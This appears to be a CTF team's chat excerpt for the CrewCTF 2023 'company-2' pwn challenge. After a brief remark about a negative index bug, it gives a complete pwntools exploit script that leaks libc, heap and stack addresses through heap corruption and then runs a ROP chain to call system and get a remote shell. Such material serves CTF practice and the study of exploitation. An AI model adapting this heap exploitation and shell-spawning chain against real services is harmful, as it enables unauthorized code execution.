Project Sekai
🔒 CrewCTF 2023 / ✅-pwn-company-2
nc company-v2.chal.crewc.tf 17002
Files:
if ( IDX > 0xF )
return puts("Sorry Not Allowed!");
negative index possible?
let's see if i can cook
this still no solve?
#!/usr/bin/env python3
from pwn import *
context.terminal = ['tmux', 'sp', '-h', '-p', '80']
#r = process('./company')
r = remote('company-v2.chal.crewc.tf', 17002)
l = ELF('./libc.so.6', False)
def ss(x):
return str(x).encode('ascii')
def register(idx, size, name, pos, salary):
r.sendlineafter(b'>> ', b'1')
r.sendline(ss(idx))
r.sendline(ss(size))
r.sendafter(b'Name: ', name)
r.sendafter(b'Position: ', pos)
r.sendlineafter(b'Salary: ', ss(salary))
def free(idx):
r.sendlineafter(b'>> ', b'2')
r.sendline(ss(idx))
def feedback(idx_self, idx_other, data):
r.sendlineafter(b'>> ', b'3')
r.sendline(ss(idx_self))
r.sendline(ss(idx_other))
r.send(data)
def view(idx):
r.sendlineafter(b'>> ', b'4')
r.sendline(ss(idx))
def mangle(x):
return ((x << 0x11) | (x >> (64 - 0x11))) & 0xffffffffffffffff
def demangle(x):
return ((x >> 0x11) | (x << (64 - 0x11))) & 0xffffffffffffffff
r.sendlineafter(b'name? ', b'HR')
register(0, 0x508, b'0', b'0', 0)
register(1, 0x528, b'1', b'1', 1) # p1
free(0)
free(1)
register(2, 0xA38, b'\xe0', b'HR', 2)
register(3, 0x508, b'3', b'3', 3) # g1
view(0)
r.recvuntil(b'Name: ')
l.address = u64(r.recvn(6) + b'\x00\x00') - 0x1f6ce0
log.info('libc = 0x%x', l.address)
feedback(0, 2, b'\x00' * 0x4d0 + p64(0x21))
free(1)
view(1)
r.recvuntil(b'Name: ')
heap = u64(r.recvn(5) + b'\x00\x00\x00') << 12
log.info('heap = 0x%x', heap)
register(4, 0x518, b'4', b'4', 4) # p2
register(5, 0x508, b'5', b'5', 5) # g2
feedback(0, 2, b'\x00' * 0x4d0 + p64(0x531))
free(1)
register(6, 0x538, b'6', b'6', 6) # g3
free(4)
feedback(0, 2, b'\x00' * 0x4d0 + p64(0x531) + p64(l.address + 0x1f7110) + p64(l.address + 0x1f7110) + p64(0) + p64(l.address + 0x1f7508 - 0x20))
register(7, 0x538, b'7', b'7', 7) # g4
free(7)
free(6)
register(8, 0xA80, b'\xe0', b'HR', 8)
feedback(6, 8, b'\x00' * 0x528 + p64(0x20000))
feedback(6, 7, b'\x00' * 0x510 + p64(0x550000000000))
evil_size = (l.symbols['environ'] - 0x10) - 8 * 4 - (heap + 0x26a0)
register(9, evil_size, b'9', b'9', 9)
register(10, 0x538, b'A' * 0x10, b'\x00', 0)
view(10)
r.recvuntil(b'A' * 0x10)
environ = u64(r.recvn(6) + b'\x00\x00')
log.info("environ = 0x%x", environ)
evil_size = (environ - 0x138) - 8 * 4 - (l.address + 0x1fe840)
register(11, evil_size, b'\x00', b'\x00', 0)
register(12, 0x538, b'\x00', b'\x00', l.address + 0x34589) # add rsp, 0x18 ; ret
feedback(0, 12, p64(l.address + 0x22fd9) + p64(l.address + 0x240e5) + p64(l.address + 0x1B51D2) + p64(l.symbols['system']))
r.sendlineafter(b'>> ', b'6')
r.interactive()